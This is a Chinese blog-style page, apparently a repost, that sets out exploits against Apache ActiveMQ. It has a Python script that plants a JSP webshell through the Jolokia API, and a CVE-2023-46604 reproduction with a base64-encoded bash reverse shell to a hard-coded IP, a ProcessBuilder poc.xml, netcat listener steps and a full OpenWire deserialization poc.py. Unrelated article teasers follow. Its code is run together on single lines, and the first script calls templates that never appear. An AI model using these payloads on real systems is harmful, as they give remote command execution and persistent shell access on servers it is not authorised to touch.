value="all"/></condition><selection name="compiler-level" default="normal" label="Compiler"><option label="Off" name="off">off</option><option label="Normal" name="normal">normal</option><option label="Detailed" name="detailed">detailed</option><option label="All" name="all">all</option></selection><condition name="compiler-enabled" true="false" false="true"><test name="compiler-level" operator="equal" value="off"/></condition><condition name="compiler-enabled-failure" true="true" false="false"><or><test name="compiler-level" operator="equal" value="detailed"/><test name="compiler-level" operator="equal" value="all"/></or></condition><condition name="compiler-sweeper-threshold" true="0 ms" false="100 ms"><test name="compiler-level" operator="equal" value="all"/></condition><condition name="compiler-compilation-threshold" true="1000 ms"><test name="compiler-level" operator="equal" value="normal"/></condition><condition name="compiler-compilation-threshold" true="100 ms"><test name="compiler-level" operator="equal" value="detailed"/></condition><condition name="compiler-compilation-threshold" true="0 ms"><test name="compiler-level" operator="equal" value="all"/></condition><condition name="compiler-phase-threshold" true="60 s"><test name="compiler-level" operator="equal" value="normal"/></condition><condition name="compiler-phase-threshold" true="10 s"><test name="compiler-level" operator="equal" value="detailed"/></condition><condition name="compiler-phase-threshold" true="0 s"><test name="compiler-level" operator="equal" value="all"/></condition><selection name="method-sampling-interval" default="normal" label="Method Sampling"><option label="Off" name="off">off</option><option label="Normal" name="normal">normal</option><option label="High" name="high">high</option><option label="Ludicrous (High Overhead)" name="ludicrous">ludicrous</option></selection><condition name="method-sampling-java-interval" true="999 d"><test name="method-sampling-interval" operator="equal" value="off"/></condition><condition name="method-sampling-java-interval" true="20 ms"><test name="method-sampling-interval" operator="equal" value="normal"/></condition><condition name="method-sampling-java-interval" true="10 ms"><test name="method-sampling-interval" operator="equal" value="high"/></condition><condition name="method-sampling-java-interval" true="1 ms"><test name="method-sampling-interval" operator="equal" value="ludicrous"/></condition><condition name="method-sampling-native-interval" true="999 d"><test name="method-sampling-interval" operator="equal" value="off"/></condition><condition name="method-sampling-native-interval" true="20 ms"><or><test name="method-sampling-interval" operator="equal" value="normal"/><test name="method-sampling-interval" operator="equal" value="high"/><test name="method-sampling-interval" operator="equal" value="ludicrous"/></or></condition>  <condition name="method-sampling-enabled" true="false" false="true"><test name="method-sampling-interval" operator="equal" value="off"/></condition><selection name="thread-dump-interval" default="normal" label="Thread Dump"><option label="Off" name="off">999 d</option><option label="At least Once" name="normal">everyChunk</option><option label="Every 60 s" name="everyMinute">60 s</option><option label="Every 10 s" name="everyTenSecond">10 s</option><option label="Every 1 s" name="everySecond">1 s</option></selection><condition name="thread-dump-enabled" true="false" false="true"><test name="thread-dump-interval" operator="equal" value="999 d"/></condition><selection name="exception-level" default="errors" label="Exceptions"><option label="Off" name="off">off</option><option label="Errors Only" name="errors">errors</option><option label="All Exceptions, including Errors" name="all">all</option></selection><condition name="enable-errors" true="true" false="false"><or><test name="exception-level" operator="equal" value="errors"/><test name="exception-level" operator="equal" value="all"/></or></condition><condition name="enable-exceptions" true="true" false="false"><test name="exception-level" operator="equal" value="all"/></condition><selection name="memory-leak-detection" default="minimal" label="Memory Leak Detection"><option label="Off" name="off">off</option><option label="Object Types" name="minimal">minimal</option><option label="Object Types + Allocation Stack Traces" name="medium">medium</option><option label="Object Types + Allocation Stack Traces + Path to GC Root" name="full">full</option></selection><condition name="memory-leak-detection-enabled" true="false" false="true"><test name="memory-leak-detection" operator="equal" value="off"/></condition><condition name="memory-leak-detection-stack-trace" true="true" false="false"><or><test name="memory-leak-detection" operator="equal" value="medium"/><test name="memory-leak-detection" operator="equal" value="full"/></or></condition><condition name="memory-leak-detection-cutoff" true="1 h" false="0 ns"><test name="memory-leak-detection" operator="equal" value="full"/></condition><text name="synchronization-threshold" label="Synchronization Threshold" contentType="timespan" minimum="0 s">20 ms</text><text name="file-io-threshold" label="File I/O Threshold" contentType="timespan" minimum="0 s">20 ms</text><text name="socket-io-threshold" label="Socket I/O Threshold" contentType="timespan" minimum="0 s">20 ms</text><flag name="class-loading-enabled" label="Class Loading">false</flag></control></configuration>
'''class Application(object):def __init__(self, url, username, password):self.url = urlself.session = requests.session()self.session.headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ''Chrome/117.0.5938.132 Safari/537.36','Origin': url,}self.session.auth = (username, password)def request(self, method: str, path: str, *args, **kwargs):data = self.session.request(method, urljoin(self.url, path), *args, **kwargs).json()assert data['status'] == 200return datadef find_mbean_name(self):data = self.request('GET', '/api/jolokia/list')for name, val in data['value'].items():if name == 'org.apache.logging.log4j2':for type_name in val.keys():if type_name.startswith('type='):return f'{name}:{type_name}'for name, val in data['value'].items():if name == 'jdk.management.jfr':for type_name in val.keys():if type_name == 'type=FlightRecorder':return f'{name}:{type_name}'raise Exception('No mbean whose name is org.apache.logging.log4j2 or jdk.management.jfr')def modify_config(self, mbean: str, template: str):self.request('POST', '/api/jolokia/', json=dict(type='exec',mbean=mbean,operation='setConfigText',arguments=[template, 'utf-8']))def exploit_log4j(self, mbean: str):self.modify_config(mbean, evil_template)logging.info('update log config')self.request('GET', '/api/jolokia/version', headers={'User-Agent': f'Mozilla ||| {webshell} |||'})logging.info('write webshell to %s', urljoin(self.url, '/admin/shell.jsp?cmd=id'))self.modify_config(mbean, original_template)logging.info('restore log config')def exploit_jfr(self):record_id = self.create_record()logging.info('create flight record, id = %d', record_id)self.request('POST', '/api/jolokia/', json=dict(type='exec',mbean='jdk.management.jfr:type=FlightRecorder',operation='setConfiguration',arguments=[record_id, record_template]))logging.info('update configuration for record %d', record_id)self.request('POST', '/api/jolokia/', json=dict(type='exec',mbean='jdk.management.jfr:type=FlightRecorder',operation='startRecording',arguments=[record_id]))logging.info('start record')time.sleep(1)self.request('POST', '/api/jolokia/', json=dict(type='exec',mbean='jdk.management.jfr:type=FlightRecorder',operation='stopRecording',arguments=[record_id]))logging.info('stop record')self.request('POST', '/api/jolokia/', json=dict(type='exec',mbean='jdk.management.jfr:type=FlightRecorder',operation='copyTo',arguments=[record_id, 'webapps/admin/shelljfr.jsp']))logging.info('write webshell to %s', urljoin(self.url, '/admin/shelljfr.jsp?cmd=id'))def exploit(self, action='auto'):mbean = self.find_mbean_name()if action == 'log4j':logging.info('choice MBean org.apache.logging.log4j2 manually')self.exploit_log4j(mbean)elif action == 'jfr':logging.info('choice MBean jdk.management.jfr:type=FlightRecorder manually')self.exploit_jfr()elif mbean.startswith('org.apache.logging.log4j2'):logging.info('choice MBean %r automatically', mbean)self.exploit_log4j(mbean)else:logging.info('choice MBean %r automatically', mbean)self.exploit_jfr()def create_record(self):data = self.request('POST', '/api/jolokia/', json=dict(type='exec',mbean='jdk.management.jfr:type=FlightRecorder',operation='newRecording',arguments=[]))return data['value']def main():parser = argparse.ArgumentParser(description='Attack Apache ActiveMQ')parser.add_argument('--username', '-u', type=str, default='admin', help='Username for the ActiveMQ console')parser.add_argument('--password', '-p', type=str, default='admin', help='Password for the ActiveMQ console')parser.add_argument('--exploit', '-e', type=str, default='auto', choices=['auto', 'log4j', 'jfr'], help='Exploit')parser.add_argument('url', type=str)args = parser.parse_args()app = Application(args.url, args.username, args.password)app.exploit(args.exploit)if __name__ == '__main__':main()

Apache ActiveMQ OpenWire 协议反序列化命令执行漏洞(CVE-2023-46604)

OpenWire协议在ActiveMQ中被用于多语言客户端与服务端通信。在Apache ActiveMQ 5.18.2版本及以前,OpenWire协议通信过程中存在一处反序列化漏洞,该漏洞可以允许具有网络访问权限的远程攻击者通过操作OpenWire协议中的序列化类类型,导致代理的类路径上的任何类实例化,从而执行任意命令。

漏洞复现

靶机启动后,访问 http://your-ip:8161检查服务是否运行成功。

编辑poc.xml

使用以下反弹shell命令,编码为base64
bash -i >& /dev/tcp/10.132.0.58/1234 0>&1YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMzIuMC41OC8xMjM0IDA+JjE={echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMzIuMC41OC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}

修改xml为反弹shell命令

┌──(root㉿nextcyber)-[~]
└─# vim poc.xml┌──(root㉿nextcyber)-[~]
└─# cat poc.xml              
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beanshttp://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>bash</value><value>-c</value><value>{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMzIuMC41OC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}</value></list></constructor-arg></bean>
</beans>

执行poc.py

首先,启动一个HTTP反连服务器,其中包含我们的poc.xml:
python3 -m http.server 6666
另起一个命令行终端,监听端口1234
┌──(root㉿nextcyber)-[~] 
└─# nc -lvnp 1234 
listening on [any] 1234 ...

然后,执行poc.py,传入的三个参数分别是目标服务器地址、端口,以及包含poc.xml的反连平台URL:

python3 poc.py 192.168.2.47 61616 http://10.132.0.58:6666/poc.xml
成功拿到shell

poc.py

import io
import socket
import sysdef main(ip, port, xml):classname = "org.springframework.context.support.ClassPathXmlApplicationContext"socket_obj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)socket_obj.connect((ip, port))with socket_obj:out = socket_obj.makefile('wb')# out = io.BytesIO()  # 创建一个内存中的二进制流out.write(int(32).to_bytes(4, 'big'))out.write(bytes([31]))out.write(int(1).to_bytes(4, 'big'))out.write(bool(True).to_bytes(1, 'big'))out.write(int(1).to_bytes(4, 'big'))out.write(bool(True).to_bytes(1, 'big'))out.write(bool(True).to_bytes(1, 'big'))out.write(len(classname).to_bytes(2, 'big'))out.write(classname.encode('utf-8'))out.write(bool(True).to_bytes(1, 'big'))out.write(len(xml).to_bytes(2, 'big'))out.write(xml.encode('utf-8'))# print(list(out.getvalue()))out.flush()out.close()if __name__ == "__main__":if len(sys.argv) != 4:print("Please specify the target and port and poc.xml: python3 poc.py 127.0.0.1 61616 ""http://192.168.0.101:8888/poc.xml")exit(-1)main(sys.argv[1], int(sys.argv[2]), sys.argv[3])

poc.xml

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beanshttp://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>touch</value><value>/tmp/activeMQ-RCE-success</value></list></constructor-arg></bean>
</beans>

 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/bicheng/86355.shtml
繁体地址,请注明出处:http://hk.pswp.cn/bicheng/86355.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

环保处理设备远程运维管理解决方案

在环保产业蓬勃发展的当下&#xff0c;环保处理设备厂商面临着愈发激烈的市场竞争。为助力环保处理设备厂商在竞争中脱颖而出&#xff0c;御控工业智能网关打造了一套完善的PLC数据采集设备运维管理平台解决方案。此方案凭借其独特优势&#xff0c;能为环保处理设备厂商带来显著…

嵌入式学习笔记DAY43(ARM架构)

一、RAM分类 sram&#xff08;静态随机存取存储器&#xff09;&#xff1a; 原理&#xff1a;使用晶体管来存储二进制数据0和1&#xff0c;通过双稳态电路&#xff08;由多个晶体管组成&#xff09;来保持数据状态&#xff0c;只要持续供电&#xff0c;数据就能稳定保存。数据读…

2025国际无人机应用及防控大会四大技术专题深度解析

2025国际无人机应用及防控大会四大技术专题深度解析 2025国际无人机应用及防控大会四大技术专题深度解析1 无人机系统技术专题技术特点与应用领域国内领军企业及案例风险挑战与发展方向 2 测控与通信导航技术专题技术创新与应用突破领先企业及解决方案现存问题与发展趋势 3 任务…

DD3118S:USB3.0+Type-c双头TF/SD二合一高速0TG多功能手机读卡器ic

DD3118S封装是QFN42, GL3224封装是QFN32 &#xff0c;设计同样一款3.0读卡方案&#xff0c;GL3213S需要电容、电阻外围器件一起要29颗&#xff0c;而DD3118S只需要13颗&#xff0c;方案精简且设计简单 DD3118S支持USB3.0Type-c双头TF/SD二合一 &#xff0c;高速0TG多功能手机读…

如何在FastAPI中玩转GitHub认证,让用户一键登录?

title: 如何在FastAPI中玩转GitHub认证,让用户一键登录? date: 2025/06/22 09:11:47 updated: 2025/06/22 09:11:47 author: cmdragon excerpt: GitHub第三方认证集成通过OAuth2.0授权码流程实现,包含用户跳转GitHub认证、获取授权码、交换访问令牌及调用API获取用户信息四…

深入JVM:从零到实战,解锁Java性能与调优的终极武器

“什么&#xff1f;你还在写CRUD&#xff1f;面试官问个JVM调优直接哑火&#xff1f;线上服务OOM了只能重启大法&#xff1f;” —— 别慌&#xff0c;掌握JVM&#xff0c;你也能成为团队里的“定海神针”&#xff01; 作为一名Java开发者&#xff0c;无论你是刚入行的新人还是…

MyBatis 中的 resultType 与 resultMap:区别、使用场景及示例详解

目录 一、什么是 resultType 1. 定义 2. 特点 3. 使用场景 4. 示例 示例 1&#xff1a;返回一个实体类对象 对应的 Java 类&#xff1a; 示例 2&#xff1a;返回 Map 集合 返回的每个记录是一个 Map&#xff0c;例如&#xff1a; 二、什么是 resultMap 1. 定义 2. …

Mac安装Apache CXF的时候报错:/Library/Internet: No such file or directory

该问题的原因因为配置的JAVA_HOME环境变量路径中的包括空格字符导致的错误。 一、问题排查 输出当前环境变量 $JAVA_HOME的路径地址&#xff0c;观察路径中是否存在空格 echo $JAVA_HOME二、问题解决 将JAVA_HOME路径改为你安装的jdk路径&#xff0c;注意你的版本号可能与我的会…

npm(或pnpm)时报:证书过期 certificate has expired问题

项目场景&#xff1a; 提示&#xff1a;这里简述项目相关背景&#xff1a; 首先安装pnpm npm install -g pnpm //检查安装成功的版本 pnpm -v 在拉芋道管理系统&#xff0c;安装依赖pnpm i 时报证书过期 更改了镜像也一样 解决方案&#xff1a; 提示&#xff1a;这里填写该…

回归预测 | Matlab实现KAN神经网络多输入单输出回归预测模型

回归预测 | Matlab实现KAN神经网络多输入单输出回归预测模型 目录 回归预测 | Matlab实现KAN神经网络多输入单输出回归预测模型效果一览基本介绍程序设计参考资料 效果一览 基本介绍 KAN作为这两年最新提出的机制&#xff0c;目前很少人用&#xff0c;很适合作为预测的创新点&…

人生笔记Real:记录生活点滴,守护珍贵记忆

在快节奏的现代生活中&#xff0c;我们常常会有一些瞬间的灵感、难忘的经历或者需要记录的重要事项。然而&#xff0c;如何高效地记录这些内容&#xff0c;并确保它们不会随着时间的流逝而丢失&#xff0c;成为了一个值得思考的问题。《人生笔记Real》正是这样一款简单好用的笔…

自动驾驶数据特征提取实战:用Python打开智能驾驶的新视角

自动驾驶数据特征提取实战:用Python打开智能驾驶的新视角 聊起自动驾驶,很多朋友第一时间想到的可能是“车上的摄像头多牛,传感器多先进”,但让我告诉你,真正决定自动驾驶“大脑”能不能跑得顺畅、跑得准的,是数据的“骨头”—特征。 没错,机器学习、深度学习的基础都…

从零搭建共享棋牌室物联网系统:硬件选型与避坑指南!

近来&#xff0c;24小时共享棋牌室凭借“低成本、无人化、高坪效”的特点成为创业热点。但许多项目在硬件选型阶段就踩坑不断——设备不兼容、安装返工、售后无门等问题频发。本文将结合实战经验&#xff0c;手把手教你从零搭建稳定可靠的棋牌室物联网硬件系统&#xff0c;并附…

NPM 依赖包版本号 `~` 和 `^` 的区别及最佳实践

本文将深入浅出地解释 ~ 与 ^ 在 package.json 中的含义&#xff0c;并结合实际开发流程给出团队协作与发布上线的最佳版本管理策略。 一、版本号的基本结构 NPM 依赖的版本号遵循 SemVer&#xff08;语义化版本&#xff09; 标准&#xff1a; 主版本号.次版本号.补丁号Major…

uniapp报错Cannot read property ‘dataset‘ of null

如果你引入的组件在uniapp分包路径中&#xff0c;就会报错

服务器常见问题以及解决方案

以下是服务器常见问题及对应的维护解决方案&#xff0c;涵盖硬件、网络、软件、安全等核心场景&#xff0c;基于最新行业实践整理&#xff1a; 一、硬件层故障‌ 硬盘失效‌ 现象‌&#xff1a;系统崩溃、IO错误、SMART告警。 解决‌&#xff1a; 立即更换故障盘&#xff0c…

企业级 Java 应用灰度发布设计方案与实践全解析

引言 在当今互联网产品快速迭代的背景下&#xff0c;如何在保证服务稳定性的同时&#xff0c;快速验证新功能的有效性&#xff0c;成为了技术团队面临的重要挑战。灰度发布&#xff08;Canary Release&#xff09;作为一种重要的发布策略&#xff0c;能够将新版本逐步推向部分用…

computed()、watch() 与 watchEffect()

下面&#xff0c;我们来系统的梳理关于 computed、watch 与 watchEffect 的基本知识点&#xff1a; 一、核心概念与响应式基础 1.1 响应式依赖关系 Vue 的响应式系统基于 依赖收集 和 触发更新 的机制&#xff1a; #mermaid-svg-twmGhASLw43mK8XM {font-family:"trebuch…

【Linux驱动开发 ---- 4.2_平台设备(Platform Devices)概述】

Linux驱动开发 ---- 4.2_平台设备&#xff08;Platform Devices&#xff09;概述 目录 Linux驱动开发 ---- 4.2_平台设备&#xff08;Platform Devices&#xff09;概述前述主要特点&#xff1a;平台设备的作用平台设备的注册与注销1. platform_device_register_simple()2. pla…

深入学习入门--(一)前备知识

一.Python基础知识 1.1 Python算数运算 1.2 变量 1.3 数据类型 1.3.1 int&#xff08;整数&#xff09; float&#xff08;浮点数&#xff09; str&#xff08;字符串&#xff09; 1.3.2 bool&#xff08;布尔值&#xff09;: 表示真或假 取值:True,False 1.3.3 list&…